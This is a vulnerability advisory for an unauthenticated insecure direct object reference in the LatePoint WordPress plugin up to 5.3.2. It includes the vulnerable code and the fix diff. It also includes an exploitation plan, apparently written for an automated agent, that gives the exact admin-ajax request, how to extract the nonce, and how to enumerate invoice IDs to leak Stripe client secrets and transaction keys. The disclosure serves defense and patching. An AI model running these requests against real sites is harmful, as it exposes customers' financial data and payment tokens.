LatePoint <= 5.3.2 - Insecure Direct Object Reference to Unauthenticated Sensitive Financial Data Exposure via Sequential Invoice ID
Description
The LatePoint plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.3.2. The vulnerability exists because the OsStripeConnectController::create_payment_intent_for_transaction action is registered as a public action (no authentication required) and loads invoices by sequential integer invoice_id without any access_key or ownership verification. This is in contrast to other invoice-related actions (view_by_key, payment_form, summary_before_payment) in OsInvoicesController which properly require a cryptographic UUID access_key. This makes it possible for unauthenticated attackers to enumerate valid invoice IDs via an error message oracle, create unauthorized transaction intent records in the database containing sensitive financial data (invoice_id, order_id, customer_id, charge_amount), and on sites with Stripe Connect configured, the response also leaks Stripe payment_intent_client_secret tokens, transaction_intent_key values, and payment amounts for any invoice.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v5.4.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-5234 (LatePoint IDOR) ## 1. Vulnerability Summary The LatePoint plugin (<= 5.3.2) contains an Insecure Direct Object Reference (IDOR) vulnerability in the `OsStripeConnectController::create_payment_intent_for_transaction` method. This action is registered as p…
Show full research plan
Exploitation Research Plan: CVE-2026-5234 (LatePoint IDOR)
1. Vulnerability Summary
The LatePoint plugin (<= 5.3.2) contains an Insecure Direct Object Reference (IDOR) vulnerability in the OsStripeConnectController::create_payment_intent_for_transaction method. This action is registered as public (unauthenticated) but fails to implement any authorization checks or cryptographic key verification when loading an invoice by its sequential integer invoice_id. An attacker can iterate through invoice IDs to create transaction intents, leak Stripe client secrets (if configured), and obtain transaction_intent_key values which grant further access to financial details.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
latepoint_route_call(The general AJAX dispatcher for LatePoint) - Route Name:
stripe_connect__create_payment_intent_for_transaction(Derived from controllerOsStripeConnectControllerand methodcreate_payment_intent_for_transaction) - Vulnerable Parameter:
params[invoice_id](sequential integer) - Authentication: Unauthenticated (
publicaccess level in controller) - Preconditions: The LatePoint plugin must be active. Exploitation of the Stripe-specific leak requires Stripe Connect to be configured, but the IDOR and Oracle aspects exist regardless.
3. Code Flow
- Entry Point: A request is sent to
admin-ajax.phpwithaction=latepoint_route_call. - Routing: The
OsControllerdispatcher (referenced inadmin.jsaslatepoint_helper.route_action) identifies the routestripe_connect__create_payment_intent_for_transaction. - Authorization: In
lib/controllers/stripe_connect_controller.php, the__constructmethod registers the action as public:$this->action_access['public'] = array_merge( $this->action_access['public'], [ ..., 'create_payment_intent_for_transaction', ... ] ); - Processing: The method
create_payment_intent_for_transactionis called. - IDOR Sink: The code takes
invoice_iddirectly from params and instantiates the model without owner verification:$invoice = new OsInvoiceModel( $this->params['invoice_id'] ); $transaction_intent = OsTransactionIntentHelper::create_or_update_transaction_intent( $invoice, $this->params ); - Leak: If successful, the response includes
transaction_intent_keyand potentiallypayment_intent_secret.
4. Nonce Acquisition Strategy
LatePoint typically requires a nonce for its AJAX dispatcher (latepoint_route_call). This nonce is usually localized into the latepoint_helper JavaScript object.
Discovery Steps:
- Identify Script Localization: The plugin localizes data in its main initialization.
- Create Trigger Page: Create a page containing a LatePoint booking shortcode to ensure scripts are enqueued.
- Shortcode:
[latepoint_book_button]or[latepoint_booking_form]
- Shortcode:
- Browser Extraction:
- Use
browser_navigateto visit the page. - Use
browser_evalto extract the nonce:window.latepoint_helper?.nonceorwindow.latepoint_helper?.route_nonce.
- Use
5. Exploitation Strategy
The goal is to enumerate invoice_id values and receive success responses indicating valid invoices.
Step-by-Step Plan:
- Nonce Extraction: Obtain the
latepoint_helper.nonceusing the strategy in Section 4. - Attack Request: Send a POST request to
admin-ajax.php.- URL:
http://<target>/wp-admin/admin-ajax.php - Body (URL-encoded):
action=latepoint_route_call &route_name=stripe_connect__create_payment_intent_for_transaction ¶ms[invoice_id]=1 &return_format=json &_wpnonce=<NONCE>
- URL:
- Response Analysis:
- Success (200 OK): If
status: "success"is returned, theinvoice_idis valid. - Data Leaked: Capture the
transaction_intent_keyandcontinue_transaction_intent_url.
- Success (200 OK): If
- Enumeration: Repeat for
invoice_id=2,3, etc.
6. Test Data Setup
To verify the vulnerability, data must exist in the database:
- Create Customer:
wp eval "OsCustomerHelper::create_customer(['first_name' => 'John', 'last_name' => 'Doe', 'email' => 'victim@example.com']);" - Create Invoice:
wp eval " \$invoice = new OsInvoiceModel(); \$invoice->set_data(['customer_id' => 1, 'amount' => 100, 'status' => 'pending']); \$invoice->save(); echo 'Created Invoice ID: ' . \$invoice->id; " - Configure Stripe (Optional/Mock): For full impact (secret leak), Stripe settings must be set in
wp_optionsor viaOsSettingsHelper.
7. Expected Results
A successful exploit will return a JSON object:
{
"status": "success",
"continue_transaction_intent_url": "http://target/latepoint/continue-intent/TOKEN",
"payment_intent_id": "pi_...",
"payment_intent_secret": "pi_..._secret_...",
"transaction_intent_key": "TRANS_TOKEN"
}
If the ID does not exist, it will likely return an error message or a blank model error, acting as an Oracle for valid invoice IDs.
8. Verification Steps
- Check Transaction Intents: Use WP-CLI to see if a new intent was created for the target invoice:
wp db query "SELECT * FROM wp_latepoint_transaction_intents ORDER BY id DESC LIMIT 1;" - Verify Leak: Confirm the
transaction_intent_keyin the DB matches the one returned in the AJAX response.
9. Alternative Approaches
If stripe_connect__create_payment_intent_for_transaction is blocked by server-side config (e.g., Stripe not enabled), the Oracle still exists because OsInvoiceModel is instantiated. Check for generic error messages like "Stripe connect account ID not set" vs "Invalid Invoice" to determine existence.
Note on Identifier Precision:
- Controller Action:
stripe_connect__create_payment_intent_for_transaction - JS Helper:
latepoint_helper - Nonce Key:
nonce(local tolatepoint_helper) - Parameter:
params[invoice_id](found inOsStripeConnectController::create_payment_intent_for_transaction)
Summary
The LatePoint plugin for WordPress is vulnerable to an unauthenticated Insecure Direct Object Reference (IDOR) via the stripe_connect__create_payment_intent_for_transaction route. Attackers can iterate through sequential invoice IDs to generate transaction records and leak sensitive financial data, including Stripe payment intent client secrets and transaction tokens.
Vulnerable Code
// lib/controllers/stripe_connect_controller.php line 24 $this->action_access['public'] = array_merge( $this->action_access['public'], [ 'webhook', 'create_payment_intent_for_transaction', 'create_payment_intent' ] ); --- // lib/controllers/stripe_connect_controller.php line 30 public function create_payment_intent_for_transaction() { if ( ! filter_var( $this->params['invoice_id'], FILTER_VALIDATE_INT ) ) { exit(); } try { // Vulnerability: Loading an invoice by sequential ID without verifying ownership or a cryptographic access key $invoice = new OsInvoiceModel( $this->params['invoice_id'] ); $transaction_intent = OsTransactionIntentHelper::create_or_update_transaction_intent( $invoice, $this->params );
Security Fix
@@ -28,9 +28,11 @@ } public function create_payment_intent_for_transaction() { - if ( ! filter_var( $this->params['invoice_id'], FILTER_VALIDATE_INT ) ) { + if ( empty( $this->params['invoice_key'] ) ) { exit(); } try { - - $invoice = new OsInvoiceModel( $this->params['invoice_id'] ); + $invoice = new OsInvoiceModel(); + $invoice = $invoice->where(['access_key' => $this->params['invoice_key']])->set_limit(1)->find(); + if ( ! $invoice->id ) throw new Exception( __( 'Invalid Invoice', 'latepoint' ) ); $transaction_intent = OsTransactionIntentHelper::create_or_update_transaction_intent( $invoice, $this->params );
Exploit Outline
The exploit involves unauthenticated interaction with the LatePoint AJAX dispatcher. An attacker first obtains a valid AJAX nonce, typically localized in the 'latepoint_helper' JavaScript object on any page displaying a booking form. Using this nonce, the attacker sends a POST request to wp-admin/admin-ajax.php with the action 'latepoint_route_call' and the route_name 'stripe_connect__create_payment_intent_for_transaction'. By providing a sequential integer in the 'params[invoice_id]' parameter, the attacker can iterate through IDs. A successful response confirms the existence of the invoice and returns a JSON object containing the 'transaction_intent_key' and 'payment_intent_secret', allowing the attacker to view or manipulate financial transaction data associated with that invoice.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.